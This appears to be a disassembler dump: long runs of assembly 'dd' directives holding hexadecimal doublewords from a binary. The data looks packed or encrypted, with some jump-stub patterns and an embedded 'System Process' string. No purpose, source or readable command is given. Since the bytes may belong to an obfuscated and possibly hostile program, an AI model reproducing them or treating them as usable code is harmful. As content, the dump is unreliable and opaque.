		dd 9F89DA5Eh, 963EC29Fh, 0B634B895h, 2C43A381h,	543B9258h
		dd 4F075FBFh, 332CEB84h, 1254D256h, 0C2067FD3h,	0D72F9F31h
		dd 7F2EBB76h, 7FEA31C2h, 5E55899Ah, 0FFFEBC4Fh,	909211FFh
		dd 27274EE9h, 0C4A21328h, 170BEA42h, 1D000003h,	825B579Fh
		dd 48865C7h, 0B9DBC1C6h, 3EE66C48h, 3B46EE4Eh, 31C296D3h
		dd 0BB94730Ch, 53045573h, 7703DC0Bh, 0FA646F17h, 0F31C296h
		dd 5201A9C7h, 0FC1A62BDh, 0A6DF1E9Ch, 7637F454h, 0E508A106h
		dd 0D008445Ah, 5DE71h, 35559C00h, 0CF5933E4h, 6AF2CD7Eh
		dd 38F6819h, 9F2501B2h,	0A2FC04Eh, 0A657A82Eh, 44F546C8h
		dd 0E192E367h, 7D2A7B99h, 7F5AB0EFh, 0A67C37F3h, 39579FA8h
		dd 2EB49091h, 0C6E42CDDh, 62E8C475h, 79DDB9BAh,	0F2994083h
		dd 398DCC2Ch, 5931C2A1h, 812989E9h, 657A1DB6h, 7B20389h
		dd 5E563321h, 269D8h, 0B391C600h, 5B998931h, 0C6D85A42h
		dd 22DC3491h, 14DF9092h, 83D0873Dh, 1E66FC2Bh, 216B76h
		dd 92230B1h, 9571570Eh,	8FC45F66h, 0A7D12947h, 236h, 0F55DF169h
		dd 0C2BA40B6h, 0A1128231h, 0A5953DC7h, 0E9C5C745h, 0E1B6331Dh
		dd 8DCC5AB2h, 31C21039h, 3641E959h, 30B113F6h, 0F79F2903h
		dd 0EB931BF6h, 0B8511EAh, 0C44B17F2h, 0D9633D72h, 7A6D2C81h
		dd 5F66A494h, 1ED4Bh, 50920D00h, 0C2BABD11h, 156DDD31h
		dd 8A0850E6h, 73C70648h, 9331C2BAh, 0D640CB23h,	831C2BAh
		dd 0A7E5F098h, 9C30B1B9h, 89BE8483h, 8D7D25AFh,	4ED4BA35h
		dd 0B38B5F67h, 4D000001h, 95135DF1h, 0C2BAF856h, 0BB991A31h
		dd 0BA66DC1Bh, 38A831C2h, 0E04030D8h, 0B9EF2D38h, 0CBE430B1h
		dd 0DD0406CCh, 3DC33BD5h, 0FEE45FB7h, 0B55F6817h, 17Eh
		dd 0B936EA3h, 6EE9563h,	868098F8h, 0ACFCE826h, 6B4E6F1Ch
		dd 579F5913h, 0BA66DC1Bh, 38A831C2h, 0E72F30D8h, 841978C9h
		dd 0A87DBC3Ah, 0E837EED7h, 620F69Ah, 0A20200F8h, 739FEFFAh
		dd 7B9437EEh, 84E3C99Ch, 1365829h, 9F9A123h, 8D35BD98h
		dd 321B459Dh, 9000000h,	6B3288C7h, 0E45437EEh, 6BD32766h
		dd 83F337EEh, 5CF1712Bh, 0CC559412h, 4C37EEDEh,	0D12934DCh
		dd 0CE37EE9Eh, 1D03D2B5h, 0D4582A2Eh, 0D5h, 155D9296h
		dd 24AA86F7h, 0B3348C7Ch, 0BD5F3C6Bh, 0C2BA087Eh, 7ADA4A31h
		dd 0FDA52F09h, 2D2FAD0Dh, 28328EF4h, 32EA4281h,	2FA3E224h
		dd 6F31C2FCh, 4A26A7FFh, 0D90E1CC4h, 9C1D75FFh,	808E3654h
		dd 88B7617Eh, 8B7B23AFh, 19E7E14Dh, 0DAF840C1h,	6F2DCE89h
		dd 70B831C2h, 0E430152h, 2655AD31h, 8AC94791h, 37F1BD19h
		dd 5E931181h, 83A1E984h, 338B7B23h, 0E9470A5h, 0AA300CBDh
		dd 587E5E45h, 0B6AA244h, 37Fh, 85D6F63Dh, 1F70FAD4h, 0BA0B936Eh
		dd 53A43009h, 0EF40C6A2h, 0D1AD4861h, 6B49FA4Bh, 0AE798E9h
		dd 3C843586h, 9220CD1Eh, 0F37DFF53h, 4B491F37h,	0F8845D92h
		dd 0BD431FA0h, 48BEFD3Fh, 8A31C2BAh, 0B061C21Ah, 97CC4A68h
		dd 7ADB33BDh, 39579F90h, 4C489091h, 92848F14h, 0A7F858C7h
		dd 0C23B93ECh, 1963F831h, 677B5C9Bh, 33A337EEh,	5D92F8E2h
		dd 5F4FF715h, 203E8607h, 112F7778h, 82CC61C0h, 6EF2CF04h
		dd 54498816h, 0B437EED7h, 39919C44h, 3637EEA4h,	16587A1Dh
		dd 0EEA463D7h, 0DB33A337h, 2A2F7A60h, 2D3158h, 0F1F30000h
		dd 9BB9015Ch, 257EBD3Bh, 5337EEDEh, 14BC421Eh, 50D8B324h
		dd 741C8CF8h, 0EE9E1169h, 12F50E37h, 2A2D5D43h,	0D11458h
		dd 9FD60000h, 90913957h, 85862EB4h, 0FAE4413Dh,	0B2D7C84Ah
		dd 0C49FD452h, 2B2CE43Ch, 8E57E7E3h, 0A3AD5705h, 9637F243h
		dd 2131C281h, 0B96ABBD9h, 0FCAB5371h, 0A9310C67h, 0FF8CCB49h
		dd 0FD37EEADh, 63A6D5FBh, 159E2DDh, 75D42595h, 0D91896E0h
		dd 31DD4636h, 0B3E866D6h, 9EF433D7h, 0AB3D9861h, 6AEB47D1h
		dd 6E5E0690h, 0AC5DAE0Eh, 0B8E54AD0h, 384A83D5h, 231A100h
		dd 0A8EF0000h, 0AC863788h, 4520D122h, 0E2BB6CBDh, 78540556h
		dd 0FA13A1F2h, 0ACFD835Fh, 4A9B1DFBh, 0E738BC99h, 7FD0EE36h
		dd 0B10544D2h, 0D137F372h, 0C39FFDFBh, 289EDD1Fh, 6A31C2BAh
		dd 0BA0B7FFAh, 0DB4B31C2h, 31792A7Bh, 0D939513h, 0A22C0B20h
		dd 5CDBC0F2h, 0AA0A180Ch, 9207F152h, 55FD7F5Dh,	49DE0D65h
		dd 0FD3F81FFh, 0C2BA48BEh, 0C21A8A31h, 0EEDEEE37h, 16BE2E37h
		dd 0D7820608h, 9F6B9BA2h, 0E742BC47h, 9B7737EEh, 0FBA32704h
		dd 203AB0Bh, 7F79F27h, 0D413BD96h, 37EEE77Eh, 28D030A0h
		dd 5E02051Eh, 0CDBBED7h, 5829F526h, 82F83779h, 0C437EED3h
		dd 0E4D2FC54h, 94000000h, 0BB39579Fh, 7921AD86h, 78793189h
		dd 606E169Ch, 6EC6522Bh, 0C2BF3AE3h, 6785CD31h,	0EB7DE7E9h
		dd 6EA61C5Bh, 78E831C2h, 0DB389F3Ah, 6EE6509Dh,	0D8304412h
		dd 607EC677h, 4C7409B8h, 0AA872562h, 508E7E26h,	40A0C862h
		dd 5DC683C2h, 0BFF437EEh, 86FC3B77h, 0C837EE5Dh, 34A0F858h
		dd 7F1473C4h, 7375B735h, 0C1093A1Eh, 0C98765A3h, 8A901B73h
		dd 0EC31DD9Bh, 1BAB1F5Eh, 7BEB3D99h, 8C689D1Bh,	0E8901CF5h
		dd 964798F8h, 63D716BAh, 0A33D991Bh, 61E5C233h,	469C9B9h
		dd 4A849B93h, 0D4B6154Dh, 92000000h, 29DA2B4Bh,	0C374C54Fh
		dd 5E0F60E8h, 0F7A8F985h, 0B644951Bh, 9E240025h, 3CBE9C4Dh
		dd 0D95D3AEBh, 718FD788h, 0A6E57320h, 37F37050h, 9F9E9C72h
		dd 81105FC3h, 88476A2Eh, 0DE26D728h, 9F856FC0h,	83913957h
		dd 40E8064Eh, 7E02DF50h, 0D8EE6D6h, 0F756A7C5h,	659A1862h
		dd 8F19F388h, 3F97F7E7h, 78ED72B1h, 9D0D37F4h, 8EACF4F5h
		dd 15448C3Dh, 6341B23Ah, 0CBD981E1h, 0F670A8C9h, 9E5BDFC1h
		dd 2E36BCB3h, 21AC0464h, 0A74633DEh, 0A7E94D29h, 654EB5D0h
		dd 2D2ED636h, 4621C953h, 0A706EAADh, 5EA6BB5Eh,	25CD532Fh
		dd 5EBEDC24h, 0FF3E80FEh, 44271F8Bh, 0A2035BCBh, 0E38BA9F1h
		dd 0D57D09E2h, 0FAD7B2CBh, 924394B2h, 25842C4Ah, 3, 9FBDF737h
		dd 8F903858h, 80812947h, 76771FA3h, 6D6E1698h, 62630B91h
		dd 57580086h, 494AF27Eh, 3D3EE66Eh, 1531D963h, 5ABF68h
		dd 24348900h, 8904EC83h, 0B268242Ch, 89000045h,	4B682414h
		dd 89000015h, 9DB82404h, 25513117h, 463279A5h, 87FC825h
		dd 27054063h, 89C631ADh, 8B5458C5h, 0C4832414h,	4EC8304h
		dd 81242C89h, 69D1242Ch, 428F75CBh, 8428108h, 75CB69D1h
		dd 5024148Bh, 405E089h,	5000000h, 4, 5C240487h,	5D2434FFh
		dd 0E904C483h, 0FFFAB132h, 0BD973BF2h, 8443A4C8h, 72CCA88h
		dd 6B8922Ch, 30631CBh, 0B0E0FFC5h, 0EF0365C6h, 362F05A6h
		dd 7233E690h, 0E911DE69h, 48h, 2B7E6513h, 0
		dd 4AC51C57h, 36614843h, 0A7A5ADF9h, 75528C88h,	0BE00B7FBh
		dd 0E5ADF99Ch, 9D89937Eh, 1DF4C700h, 19606392h,	0DEh, 6	dup(0)
		dd 0A9BE9h, 0CCFE6800h,	0AFE90631h, 68FFFAB0h, 631CE7Ch
		dd 0FAB0A5E9h, 0CF6E68FFh, 9BE90631h, 68FFFAB0h, 631D02Ah
		dd 0FAB091E9h, 0D0F368FFh, 87E90631h, 68FFFAB0h, 631D1D1h
		dd 0FAB07DE9h, 0D25468FFh, 73E90631h, 68FFFAB0h, 631D3FCh
		dd 0FAB069E9h, 0D4F968FFh, 5FE90631h, 52FFFAB0h, 0E99AEB0Bh
		dd 8334850Fh, 1ECF20A8h, 0B768B945h, 760455DBh,	5EE4C065h
		dd 0FC7E5C0Dh, 991DFAABh, 314F9748h, 66A533E0h,	37F37610h
		dd 0F15E5C32h, 5294125Ch, 62AA411Dh, 4CAC9C44h,	0F736B4A4h
		dd 31C2BA83h, 70FB53C3h, 37F48641h, 52870575h, 0EA9BEC0Ah
		dd 0CEDC84A2h, 0DB335199h, 0DEBC17ACh, 64C4B45Ch, 276FA4E6h
		dd 0A626B109h, 4831C54Ah, 0BB63EDC7h, 0B8ED6BCBh, 0E1634170h
		dd 0D65C3839h, 7EDE3E2Eh, 16347C2Dh, 0C22ABF6Eh, 22CD4180h
		dd 9D0D3DA1h, 0A122AC22h, 1E7EEE3Dh, 573C61A0h,	6CDC3B8Dh
		dd 0B83CF307h, 64C3FB50h, 8E2h,	0E93A5AA1h, 83D45E38h
		dd 1E6FF7D2h, 0B708946Dh, 53A42A06h, 351134C5h,	0CFAD5EAFh
		dd 6E4BFC4Dh, 0A0E899EAh, 0F6843182h, 0F37643B7h, 0AFAD8337h
		dd 9139579Fh, 58038183h, 881F429h, 0C9E72FB0h, 1C841978h
		dd 0C2CC69DDh, 4C28A931h, 880666C6h, 0D1351146h, 47CA4D44h
		dd 7BD33320h, 0EEFF3BF0h, 84373937h, 7405A25Eh,	0D141AD05h
		dd 0DE61B29h, 2C9E2981h, 4337EEEEh, 92786F2Ah, 0E55829F9h
		dd 0A64ED4B0h, 0E242CAA5h, 0B30B2971h, 3A89h, 5D924B00h
		dd 5F4FF715h, 0F943D807h, 0DEEB3C7Bh, 0C33337EEh, 9EBE101Bh
		dd 9CB537EEh, 2E04EAFDh, 5557582Ah, 929241Bh, 6F99F149h
		dd 0F7h, 66DC1B5Dh, 0A837EE2Dh,	9226E038h, 0BABD1150h
		dd 6DDD31C2h, 1D4C9415h, 1F0FB7D5h, 0E84866AEh,	0B1F03240h
		dd 31C2BA5Dh, 5E068C68h, 4AA2126Eh, 0C689EDC9h,	0C54725EDh
		dd 0C4EE3887h, 73BBBC64h, 0C5A2D755h, 3031E941h, 52E3ECE8h
		dd 200EC979h, 2616BE44h, 5A1566C6h, 31C264EDh, 61B2D018h
		dd 0A6C68B0h, 0A5AB522Ch, 18C76FCFh, 0C2E02883h, 0D6AFE462h
		dd 2564F24Ah, 37EE5244h, 0E0EC4042h, 0BB3D119h,	98D6DD1Bh
		dd 0FC8AF64Eh, 0EECB49BDh, 0B9198937h, 2A740968h, 1AA16DACh
		dd 61D131DDh, 4CD2AEE3h, 35BF99CEh, 0B961E9C4h,	5F1071C9h
		dd 5C98FD83h, 824A83B2h, 764EB4Ah, 0DC230000h, 0E0BA6BBCh
		dd 79540556h, 16EFA0F1h, 0AC88398Ah, 0B647D526h, 0E031B793h
		dd 7ECF512Fh, 1B6CF0CDh, 0B304226Ah, 0C5397806h, 537F374h
		dd 0C39F312Fh, 0F33BEC3Dh, 0F19A84D5h, 9294125Ch, 0E2F1AB2Bh
		dd 74025A1Eh, 0EEF5EC35h, 53080A37h, 5DACD123h,	0BE0C78D0h
		dd 0F5B7135Dh, 19C12103h, 76F8D60Bh, 763B931Eh,	744E37EEh
		dd 0F94142EAh, 102933DBh, 90E26909h, 4EF6825Bh,	0D6B1065Eh
		dd 298619FFh, 0C3D058h,	9F920000h, 90913957h, 7B862EB4h
		dd 31C2BE0Eh, 82D3F139h, 2FB18FC4h, 0F00E56D7h,	2B053A48h
		dd 0B109F9A1h, 25A3ED82h, 0EEC405E6h, 0F0CE0337h, 3AAA166Eh
		dd 0AAE92BE9h, 37EEB154h, 7FAE0676h, 0E322A0EAh, 31DD63C4h
		dd 356AE858h, 2055D359h, 364BC46h, 8DD44345h, 0F757033Ah
		dd 0BC421E9Fh, 8319D757h, 0A0FF374Ah, 672h, 79CAEA31h
		dd 1364EEC8h, 0AEFF8762h, 479824FDh, 0E334BA96h, 0C5A14455h
		dd 5F3DEE3Fh, 0FEDB8CDDh, 3078297Ah, 8614C112h,	0F375F347h
		dd 3F3D1337h, 0EC3DC39Fh, 59ADEC2Eh, 7931C2BAh,	0A9E9732Bh
		dd 0DC3C5B40h, 9DBB0384h, 7F598E4Ch, 0DF5D4DF5h, 0C22F2AA0h
		dd 0A4FC6C31h, 39579FEAh, 0FF418391h, 0C2BA4AC0h, 0A11C8C31h
		dd 31C2BA2Dh, 24A5FD6Dh, 0B26DBEDCh, 31C2BA58h,	62E02ABFh
		dd 8810EB20h, 8614A530h, 44B437F4h, 34284C6h, 37F3768Fh
		dd 86075FCFh, 1ECF203Eh, 53AB8D6h, 8F8A02Ch, 0B449F8B0h
		dd 24ADEC6Ah, 0D431DF09h, 93F37553h, 865EEA2Eh,	6DCC044Ah
		dd 5B6h, 0BD0E2E75h, 57A8320Ch,	0F243CBA6h, 8BDC6841h
		dd 2778FEDAh, 9E50099h,	0A3813283h, 421FD021h, 74BC6DBEh
		dd 0CA580556h, 0F36A378Bh, 83815737h, 0BB39579Fh, 0C810AD86h
		dd 3AF24AAAh, 2BD3F139h, 80598E60h, 45C4CF4h, 0AFF7E8AFh
		dd 0AF954091h, 665E5651h, 7, 17F4128h, 95530000h, 31C2BA25h
		dd 0A8C60E43h, 318C2150h, 3525CD57h, 0E01557D5h, 97227A98h
		dd 37F4866Dh, 0A6EE23B1h, 76B90D88h, 4BD937F3h,	0F376B60Ch
		dd 868D837h, 0ADF52AA8h, 458D3E8Fh, 3BD07F27h, 623E73F1h
		dd 0D96634DCh, 78D383EDh, 6D46B717h, 0BCFB89E1h, 31DFB43Bh
		dd 28B28CC1h, 0CC389080h, 31BF75Ch, 8BC34A86h, 4ED2Ch
		dd 4565AC00h, 0DF6943F4h, 7A02DD8Eh, 139F7829h,	0AF3511C2h
		dd 1A3FD05Eh, 0B667B83Eh, 540556D8h, 0F1A2F377h, 8D3A8BA9h
		dd 6A4AC0FFh, 0B68C37F3h, 39579FB8h, 2A489091h,	159B77ACh
		dd 6D257D6Dh, 510E09A2h, 5FCB0D09h, 90086C49h, 4E34DF30h
		dd 55E5552h, 0Eh, 0B741C7h, 4A7F0000h, 4D3DE571h, 5D923BF5h
		dd 75A4FC80h, 20AC85E0h, 0D40342C0h, 837F486h, 9DE51A98h
		dd 357D2E7Fh, 8A649917h, 41F0A800h, 0A5E462ACh,	31C54A27h
		dd 8AC079C7h, 0E86BDF1Eh, 3BAB3DA1h, 984F5CFDh,	28B8BA38h
		dd 0DFFD4530h, 274A34A1h, 0B63C34Dh, 2A063B7Dh,	83CB4CA4h
		dd 1B631465h, 11A655FDh, 0D20749C7h, 8C176FF7h,	3B8DD1E7h
		dd 203E8607h, 0C3288878h, 50B7BB89h, 0FEE4D85h,	0CE000004h
		dd 65166787h, 0FFB0018Bh, 9A4B9C24h, 33E435C1h,	0F280D157h
		dd 0DA603CD9h, 78FAD889h, 15997627h, 0ADCB13C4h, 0E221AF5Ch
		dd 37F36B6Ch, 41DAD8AEh, 0E3h, 125CF153h, 86BA5594h, 33837F4h
		dd 0D9459DBBh, 6EB6EB69h, 64EFF50h, 0FC9140E8h,	0F7F534B2h
		dd 1731C54Ah, 4F2729A7h, 0F53C8DD9h, 9DD260B8h,	35E63755h
		dd 7827CFEDh, 0DC1B99E3h, 3B8D10B7h, 0C482E757h, 3A50B87Ch
		dd 38CA302h, 44B0000h, 8E293E4h, 0A17C2D7Eh, 3E17C819h
		dd 0D4B061B2h, 5E6FFD4Eh, 859DFBBh, 0A6F77957h,	439418F5h
		dd 0DB2C4A92h, 0ED61A02Eh, 2D37F368h, 579F5957h, 0AC86BB39h
		dd 1112CA22h, 3803ABC9h, 9FE7F89Fh, 9F853081h, 565E5651h
		dd 47h,	125CF118h, 1DAD9294h, 0E0FD646Fh, 430229A2h, 7AD20E96h
		dd 0B08CADECh, 0BC2C37EFh, 0A62E093Eh, 0B2219A55h, 0C5437EFh
		dd 0E06E70EEh, 5C547CE6h, 0A850D4B1h, 9F0058B8h, 0E38B13EEh
		dd 3EC4A0D5h, 2F807E6h,	9F190000h, 95963EC2h, 2DDE2F4Dh
		dd 1E1FC7E5h, 2E00DAD6h, 0A0739A1Ch, 0FB90EF40h, 0AFF133B1h
		dd 0C2CE1A70h, 74CC3C31h, 0EEA334E9h, 3CE45437h, 0EE28D931h
		dd 4F84D637h, 5444EC74h, 0F5E0A7FCh, 5829BC0Fh,	4BC6h
		dd 5CF18800h, 0F089F2F4h, 0B78DB3C3h, 0C28CC63Ch, 38980831h
		dd 0E82A7BBAh, 0E47237EEh, 0EEE051A5h, 90017137h, 28D030B2h
		dd 0EEE0AD1Dh, 0EEA9C237h, 4AD6AFE4h, 6341B2A2h, 280E89E1h
		dd 0DF5829F8h, 0C3h, 33BF98CDh,	89439B8Bh, 9139579Fh, 862EB490h
		dd 771F3D85h, 0BDF22E76h, 68DE59E3h, 0AA31C2BAh, 275CDA3Ah
		dd 2E1EC64Ah, 75B775D6h, 0C2BAC036h, 21920231h,	0D964BC48h
		dd 31C2BE6Ch, 0B3314F97h, 0BEDC3271h, 8EFE31C2h, 0DC24D536h
		dd 0D30816BEh, 0DACA72F6h, 74BE5382h, 0EA8AB7F6h, 0DA4A37EEh
		dd 4B952A89h, 546B8ECDh, 1B8B31DDh, 68C689Dh, 76B5F7B5h
		dd 3D985000h, 0F97AD242h
		dd 0FE32971Dh, 0E04A8372h, 1E449A8h, 5CA30000h,	603AEB3Ch
		dd 0F9D485D6h, 966F2071h, 2C08B90Ah, 36C755A6h,	60B13713h
		dd 0FE4FD1AFh, 9BEC704Dh, 3384A2EAh, 45B9F886h,	8537F369h
		dd 0C39FB1AFh, 0F33BEC3Dh, 0F19A84D5h, 5594125Ch, 37EEDECCh
		dd 2934DC4Ch, 37EE9ED1h, 3D2B5CEh, 582A2E1Dh, 101D4h, 90929600h
		dd 19F399E6h, 0B9F7E78Fh, 52C338D7h, 1798F076h,	809B1CFh
		dd 0F0FEA62Ch, 0A91B6FAEh, 0BA3B31C2h, 0A0F858DEh, 0C2ADA815h
		dd 6D8BD331h, 5472BAEFh, 0A2EA9BFCh, 99CEDC84h,	0A19139BBh
		dd 3B851A49h, 0C63C7BBDh, 2631C2ADh, 0BB1CF100h, 0F363BF62h
		dd 0B1CE0D9Bh, 6137EE49h, 0AC41A0F1h, 8DED7751h, 0B3CAD00Fh
		dd 9E2C31DDh, 9933EB5Fh, 7DBB2B3Dh, 11305E16h, 4FCD2D7Dh
		dd 7F010B0Dh, 0D3A8E717h, 55FD8962h, 0B08C0D65h, 2B6AAC2Ah
		dd 3D998BD7h, 0CE2F87F7h, 56BB411Dh, 4A83BA14h,	0E763C2FAh
		dd 0A6000000h, 3DEE3F5Fh, 0D788D963h, 722374FCh, 0BBC0D99h
		dd 0CA58A92Fh, 0B2381431h, 50D2B061h, 0ED714EFFh, 85A3EB9Ch
		dd 0BAF98734h, 37F36E44h, 9FB2B086h, 6AE01FC3h,	0AC31C2BAh
		dd 5C5EDC3Ch, 15166606h, 85682F7Fh, 0D3CA4684h,	41FF60B8h
		dd 5E4AC0FFh, 1C8C31C2h, 0DDFB43C4h, 579FA28Ch,	48909139h
		dd 0E57AD92Ah, 7E1B1D9Bh, 0D28F9C32h, 63A5338Bh, 43542961h
		dd 0B8107F0Ch, 0F4CFA72Dh, 3FE75737h, 716C2F31h, 20F61AAAh
		dd 0E1FF47C8h, 7997DF90h, 5078C6D1h, 4E975920h,	304E964Bh
		dd 0C8E62EDFh, 0BA461F20h, 0A32D073Ch, 971FFAFBh, 479FFFEFh
		dd 0F133858Fh, 43485CB2h, 0B60E7E02h, 61A9A661h, 0FF34F243h
		dd 29AB8926h, 0D93121C9h, 3E11058h, 89E9D981h, 0C82E1h
		dd 0BEC00000h, 0F8BC5860h, 0ECA6FE36h, 589FBDF7h, 478F9038h
		dd 0A3808129h, 9876771Fh, 916D6E16h, 8662630Bh,	7E575800h
		dd 6E494AF2h, 633D3EE6h, 521531D9h, 0C281E289h,	4, 5204EA83h
		dd 42474FFh, 24048F5Ah,	0E189515Ch, 4C181h, 0E9830000h
		dd 240C8704h, 2434895Ch, 616968h, 242C8900h, 31CC4D68h
		dd 24348B06h, 6804C483h, 423h, 83242489h, 5D042404h, 16FB68h
		dd 240C8900h, 8B9h, 89E90100h, 2C8B5931h, 0E1895124h, 4C181h
		dd 0C1830000h, 240C8704h, 2434FF5Ch, 4C4835Eh, 0FAA62DE9h
		dd 0FF6DA5FFh, 5ADC017h, 68A92F2Fh, 0BDB55F0Dh,	31D605B8h
		dd 0FFC50306h, 246F77E0h, 178DB37Eh, 0BA86F44Fh, 0F8B82D4Eh
		dd 1B1FBF1Bh, 0E3A9BF79h, 7D071125h, 0A719D54Dh, 3C138B57h
		dd 0B218E25Fh, 40AB340Ah, 643D6807h, 0E99FEE20h, 278DCE77h
		dd 0D4CA292Eh, 98DCC861h, 1281106Fh, 0DAF99046h, 18927B1Eh
		dd 444F853Ch, 8376DE40h, 0C2CCDF70h, 179E95Eh, 0ACD50000h
		dd 6AF8150Ah, 4E90840Eh, 5AB14CF2h, 543B0B2Fh, 54F85224h
		dd 5A930B27h, 739F522Ch, 268E3B07h, 720C5255h, 0C66ED0AEh
		dd 0B49D9CAAh, 16875212h, 1285263h, 0
		dd 40000h, 2 dup(0)
		dd 2F0000h, 0
		dd 80000h, 0
		dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 43h dup(0)
		dd 0E9000000h, 181Ch, 31DAD668h, 6E0FE906h, 1268FFFBh
		dd 0E90631DCh, 0FFFB6E05h, 31DD0068h, 6DFBE906h, 0D368FFFBh
		dd 0E90631DDh, 0FFFB6DF1h, 31DF5068h, 6DE7E906h, 0EC68FFFBh
		dd 0E90631E0h, 0FFFB6DDDh, 31E1E668h, 6DD3E906h, 0B968FFFBh
		dd 0E90631E2h, 0FFFB6DC9h, 31E4E868h, 6DBFE906h, 0E468FFFBh
		dd 0E90631E5h, 0FFFB6DB5h, 31E67B68h, 6DABE906h, 3168FFFBh
		dd 0E90631E7h, 0FFFB6DA1h, 31E8D568h, 6D97E906h, 2368FFFBh
		dd 0E90631EEh, 0FFFB6D8Dh, 31EF2068h, 6D83E906h, 0B9A6FFFBh
		dd 2423C947h, 0A9A248C6h, 2D23C947h, 0B7A54BC9h, 0CCE9C947h
		dd 1B99C5F7h, 9B194975h, 1F9DC5F5h, 0A2204279h,	40BDD904h
		dd 0A17792B4h, 0BFAE9ED4h, 0D00BFD55h, 0E3D934B2h, 4E328AE8h
		dd 0BC02E0F1h, 8CBE608Eh, 0D07BD266h, 1F7CE2DAh, 0B8AF0307h
		dd 96C5BB47h, 6730146Ch, 71395FFBh, 5F379424h, 55FDCF8h
		dd 1CC07798h, 9F183088h, 0E6779804h, 40328AF8h,	258AE20Ch
		dd 1F4D504Ah, 1FB397EFh, 0FE77233Eh, 6B750493h,	41EBh
		dd 0A09E9400h, 8FEFE542h, 2C2279B3h, 688EC030h,	40982C10h
		dd 3C58FF5Ch, 47B8A8A4h, 0A84FA74Bh, 6864E1FDh,	0BCAB7798h
		dd 0D514C64Eh, 0AEC623B7h, 77986835h, 0FD78223Dh, 6B74A594h
		dd 14CEAh, 0DCF94400h, 59327902h, 0F015EF2h, 0B75EB6DCh
		dd 6CE9C49Ah, 207D64E8h, 8BC23E2Eh, 992D1169h, 8E722542h
		dd 0BA69A52Eh, 0FA2126F1h, 3E9BDB8Ah, 4BA9A496h, 0A8CA01F3h
		dd 0FF6F5B51h, 9866C3A7h, 0C47126CCh, 56FD1A7Dh, 0FF0C287h
		dd 8897A8B0h, 1BAFE7BAh, 3E91CCBEh, 5FADB1FDh, 8C854ECFh
		dd 8C799C80h, 56FC7A0Eh, 0B0A6FD67h, 0E2FB53B1h, 5EAA1076h
		dd 56B347DCh, 87C19DAEh, 0DD0F3A30h, 0CDBDD980h, 4547B7F7h
		dd 0E5990528h, 0C4FC751Bh, 0D2664AA2h, 42C49D75h, 0CC6F626Ah
		dd 8BE664F8h, 0DE47C4E0h, 5C8E7797h, 72FADE36h,	826071CEh
		dd 0D2D7F34Ah, 844189ACh, 0C08E6067h, 0F24F863Ah, 21F761Ah
		dd 304CEA46h, 71697EB3h, 0FA77014h, 1EC52293h, 0EA4F7D73h
		dd 0F5016421h, 6FCC60CFh, 0A11F4F7Dh, 30115046h, 691B9714h
		dd 0C054F871h, 137B7163h, 0C4EF1051h, 6AA7BF55h, 1503h
		dd 0FB79EBD8h, 7AF86A55h, 0FB799BD4h, 7DFB6355h, 0FB79E5D7h
		dd 3329FE1Bh, 0BBA74DCBh, 3727CD4Bh, 0B0AB51CFh, 0B36D452h
		dd 92B272EFh, 0D006D377h, 0D250BEAEh, 7CD3312Ch, 0CE2B5586h
		dd 0DEFAA500h, 7DC48D61h, 0B8DE10C2h, 8BE87C60h, 79B38F95h
		dd 0A86E0622h, 631547B8h, 0BFB1096Dh, 4CD618Dh,	0CCF3BC03h
		dd 6DC55938h, 9866DC55h, 0CB2B2377h, 284A8173h,	5149B4D0h
		dd 3C5E795Ah, 5C82B6ACh, 0A6ACE5FFh, 6D26B74h, 2C000001h
		dd 0FD55BFAEh, 3616056h, 786AC7ABh, 0B4D20C44h,	0C726A5Ch
		dd 0A83CD0B4h, 0D8AA651h, 547DC48Dh, 0BDA1F91Bh, 8C349135h
		dd 84F0EFE5h, 3A922648h, 0CEAA8D56h, 70A8FF86h,	6B55FB13h
		dd 0CFFE7DC4h, 4A8127A5h, 0E3BFD028h, 0FCA752A9h, 0C43E63E0h
		dd 0C320C47Dh, 0B865BBABh, 0E05E0247h, 2542471Bh, 931B205Dh
		dd 0B12EF6F6h, 12779805h, 6783DA6Eh, 4189D551h,	3F950F4h
		dd 49C6E2C9h, 0AA716958h, 701B7206h, 6957D754h,	0F2943871h
		dd 5C4098FEh, 518B31FFh, 57D14E6Ah, 17F17169h, 1ADAE996h
		dd 8B1FC34Bh, 0C4228EC9h, 0E4213955h, 13C7h, 0BF3DAF9Ch
		dd 3EBC2E19h, 0BF3DA798h, 41BF2719h, 0BF3DA19Bh, 0FFEDC2DFh
		dd 7F6B118Fh, 0F3EB910Fh, 7C6F1593h, 0CFFA9816h, 92B136B3h
		dd 94CA9777h, 0E28DBEAEh, 0C48D49C6h, 3E06AA7Dh, 7DC48CC1h
		dd 6CEA7E22h, 0EF6D97C6h, 11AC9E94h, 3D8B848h, 67C4583Dh
		dd 47BFAE71h, 85E5E117h, 21B599F1h, 7EE4D7C9h, 0FF615A00h
		dd 0CBE300A7h, 0E45D29A5h, 48B6A648h, 0A0C2F9EBh, 2277322h
		dd 0ABA1DD0Ch, 7307EB43h, 0EF390516h, 2642ED98h, 7DC3C0A9h
		dd 0F109660Ah, 47B7DE25h, 59E5882Ch, 6E2DEBD9h,	9AF13B07h
		dd 1BC1E7Eh, 5B93454Ah,	3DD1312Dh, 0A5223EE5h, 679E13Ch
		dd 0E23ACE62h, 64BB0DD1h, 6BAC9CB9h, 0A640A784h, 11F54DB7h
		dd 0A308207Dh, 0E443D17Ah, 0F8F3E940h, 0D8305E8Ch, 3CE260F4h
		dd 3C21E301h, 7B538CDCh, 12D92663h, 0B1AE0000h,	3C2BD14Fh
		dd 0B1AA50CEh, 352BD14Fh, 0BFAD53D1h, 0D4F1D14Fh, 23A1CDFFh
		dd 0A321417Dh, 27A5CDFDh, 0AA284A81h, 48C5E10Ch, 0A97792B0h
		dd 3F9A6DCh, 594BA8CAh,	97A80062h, 7F2A81CBh, 0C48CE663h
		dd 46A3477Dh, 0A383839Fh, 251B47B8h, 9870CD35h,	9DD076F4h
		dd 300E1F77h, 3485A1F8h, 5541874Ch, 66645AB1h, 0E04AB08h
		dd 9137B5DFh, 39E0385Ah, 0F9DE591Ch, 15726ED3h,	97EE3E04h
		dd 9CC2F6ECh, 0EB036044h, 3B56137Ah, 0C845610Ch, 296B3565h
		dd 0AC502885h, 66C5F55h, 89EBE288h, 0E2043C32h,	4036DD85h
		dd 0AA8EE608h, 0E1E80FE1h, 0F8553ED0h, 7AD11BE7h, 80E2D9CFh
		dd 0ABA24428h, 0C0D4EC49h, 67352987h, 0AB6201C3h, 556D4124h
		dd 120618h, 7CEEDB00h, 0FB6958FEh, 7CE6D77Dh, 0FE6058FEh
